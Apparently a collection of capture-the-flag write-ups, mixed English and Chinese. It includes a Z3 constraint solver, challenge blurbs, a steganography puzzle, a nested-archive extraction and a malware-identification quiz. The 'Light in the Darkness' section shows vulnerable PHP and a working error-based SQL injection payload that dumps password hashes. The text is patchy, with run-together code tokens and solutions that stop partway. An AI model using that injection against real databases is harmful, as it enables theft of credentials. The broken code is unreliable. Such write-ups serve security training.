defis_fermat_prime(n): if n < 2: returnFalse returnpow(2, n-1, n) == 1
# 预计算:26 个字符中哪些满足各位置的素性约束 valid_014 = [c for c inrange(65,91) if is_fermat_prime(6*c-1) and is_fermat_prime(6*c+1)] valid_25 = [c for c inrange(65,91) if is_fermat_prime(c)] valid_3 = [c for c inrange(65,91) if c % 5 == 0]
# Bool table:每个字符是否满足对应约束 table_014 = {c: Bool(f"twin_{c}") for c inrange(65, 91)} table_25 = {c: Bool(f"prime_{c}") for c inrange(65, 91)} table_3 = {c: Bool(f"mod5_{c}") for c inrange(65, 91)}
s = Solver() for c inrange(65, 91): s.add(table_014[c] == (c in valid_014)) s.add(table_25[c] == (c in valid_25)) s.add(table_3[c] == (c % 5 == 0))
U = [BitVec(f'U{i}', 16) for i inrange(6)] for i inrange(6): s.add(U[i] >= 65, U[i] <= 90)
# Per-position constraints via table lookup s.add(Or([And(U[0] == c, table_014[c]) for c inrange(65, 91)])) s.add(Or([And(U[1] == c, table_014[c]) for c inrange(65, 91)])) s.add(Or([And(U[4] == c, table_014[c]) for c inrange(65, 91)])) s.add(Or([And(U[2] == c, table_25[c]) for c inrange(65, 91)])) s.add(Or([And(U[5] == c, table_25[c]) for c inrange(65, 91)])) s.add(Or([And(U[3] == c, table_3[c]) for c inrange(65, 91)]))
while s.check() == sat: m = s.model() name = ''.join(chr(m[U[i]].as_long()) for i inrange(6)) print(f"{name} → {name.lower()}") s.add(Or([U[i] != m[U[i]] for i inrange(6)]))
The project named "railsbin" is open source, but has a few security
problems. Can you exploit the demo site? The solution is the password
hash of user solution.
Z - Reloaded (Exploit, Simulated, Storyline) — score 6
Before starting the challenge I suggest you to save every information
and solution, because later in the challenge it is likely that you will
need them again. Especially if you see passwords in the narrator
box.
Z 系列故事线的一部分。扮演
Trinity(黑客帝国),通过模拟终端执行一系列渗透任务,最终瘫痪城市电网。
Our security agency got delivered a copy of a portable firefox
installation. Your job is to crack the master password so the
authorities can investigate more websites and private content generated
by this person.
You can download the portable version from this folder, filename
"burningfox.zip".
Light in the Darkness (MySQL, Exploit) — score 6, by Mawekl.
This challenge is the sequel to the "Blinded by the lighter"
challenge. Again your mission is to extract an md5 password hash out of
the database. This time your limit for this sql injection are 2 queries.
Also you have to accomplish this task 3 times consecutively, to prove
you have solved the challenge. Again you are given the sourcecode of the
vulnerable script, also as highlighted version. To restart the
challenge, you can execute a reset. Thanks to Mawekl for his motivation!
Good luck!
前作 "Blinded by the lighter" 的升级版。同样是 SQL 注入提取 MD5
password hash,但限制更严:最多 2
次查询(整个挑战生命周期),且需要 连续 3
轮成功 才算通关。
functionblightVuln($password) { # Filter: blocks /* and "blight" in the injection string if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) ) returnfalse;
$db = blightDB(); $sessid = GWF_Session::getSessSID(); $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'"; return$db->queryFirst($query) !== false; }
关键点:
注入点在 WHERE 子句,password 列来自子查询别名
b
过滤器:禁止 /*(堵多行注释截断)和
blight(堵直接引用表名)
setVerbose(true):SQL 错误会完整回显到页面 ——
这是报错注入的前提条件
queryFirst() 使用
mysqli_query()(不支持堆叠查询)
SLEEP/BENCHMARK 未被过滤,但 2
次查询限制让时间/布尔盲注都不可行
index.php — 表单逻辑:
injection + inject →
blightVuln($password)
thehash + mybutton →
blightGetHash() 从 DB 读 hash 并比对
# Round 1 injection=' or (select count(*) from information_schema.COLLATIONS group by concat(password,floor(rand(0)*2))) -- → Duplicate entry 'A43B4E914FD58059B5526D2B46854F411' → password = A43B4E914FD58059B5526D2B46854F41 → submit hash → OK, need 2 more
# Round 2 → Duplicate entry '217CD978A6269E1C6E6116FB3E6591CF1' → password = 217CD978A6269E1C6E6116FB3E6591CF → submit hash → OK, need 1 more
<b>W</b>ith pleasure I present you my second ste<i>g</i>ano. <b>R</b>ight w<i>r</i>itten from scratch in a paranoid mind. <b>O</b>r may<i>b</i>e I am just testing my website framework. <b>N</b>evermind, I hope you enjoy this challen<i>ge</i>. <b>G</b>ood Luck
Bold 首字母: W, R, O, N, G →
WRONG(故意误导)
Italic 字母: g, r, b, ge →
GRBGE(关键线索,源码注释确认重要)
关键线索 1: GRBGE
源码注释(www/challenge/paranoid/lang/chall_en.php):
1
# It is important the the letters GRBGE are in <i> italic.
eXtract Me (Encoding, Stegano) — score 3, by oleg.
Yo dog, I heard you like zips so we put a zip in your zip so you can
unzip unzipped zips. Enjoy!
Download: r.zip (2698 bytes).
Solution
The challenge is an archive matryoshka: the r.zip
contains an infinite recursive zip (r/r.zip → always the
same inner zip), plus hidden data appended after the ZIP EOCD.
Step 1 — Cut out the second archive
r.zip is actually two things stitched together:
First 440 bytes: the recursive zip (r/r.zip, endless loop)
Remaining 2258 bytes: LZW-compressed data (magic
\x1f\x9d)
Extract the trailing data and decompress with
uncompress:
1 2 3 4 5 6 7 8
$ python3 -c " with open('r.zip','rb') as f: d=f.read() open('trailing.Z','wb').write(d[440:]) " $ uncompress -c trailing.Z > stage1.xar $ file stage1.xar stage1.xar: xar archive compressed TOC
Step 2 — Extract the chain
The XAR contains file "8", which is itself LZW-compressed:
This showcases the depth of archive format history — ZIP, LZW
compress, XAR, RAR, XZ, ZOO, RZIP, GZip, ARJ, 7z, bzip2 — almost every
compression format ever invented.
1. Hi, This is an **\*\*\*\*\*\*\*\*** virus. As you know we are not so technical advanced as in the West. We therefore ask you to delete all your files on your harddisk manually and send this email to all your friends.
2. When you see "Dis is one half" on your screen, half of your hard drive has been encrypted with **\*\*\*** encryption.
3. **\*\*\*\* \*\*\*\*** is a great DNS technique for botherders to avoid shutting down of their malware or phishing site and to hide these sites with an ever-changing network of compromised hosts acting as proxies.
4. Download the source code for netsky.ae (variant name by Kaspersky), in the main.cpp (sha-256sum=e80d5db98e3e661bee9e57e0e524de2b97db2f48c63f2e73c562719501aeddc1) the first host name in the 90. row is www.**\*\*\*\*\***.com
5. After downloading and installing Trojan-PSW.Win32.Sinowal.w (variant name by Kaspersky) (sha-256sum=c21ae31e700930b02ad8c286c098770a1baad33abae6436733bb024998bdd19e), first the malware queries the DNS for r**\*\*\*\*\***.com (include r in the final answer).
6. Download Trojan-GameThief.Win32.Nilage.mc (variant name by Kaspersky) (sha-256sum=d2243520460811f14c7f77dce093b807e546298b6eb3e8d8a8f4581f28057284), unpack and analyze. The executable contains the string: c:\\**\*\*\*\*\***.txt
Your task is to fill in the \* parts, concatenate the answers with \_ (underscore) and remove any spaces (if any). To be more precise, the solution string will contain 5 \_ and altogether 43 characters. You only have to answer 5 out of the 6 questions correctly to be succesfull, but please include every answer (even if one is known wrong).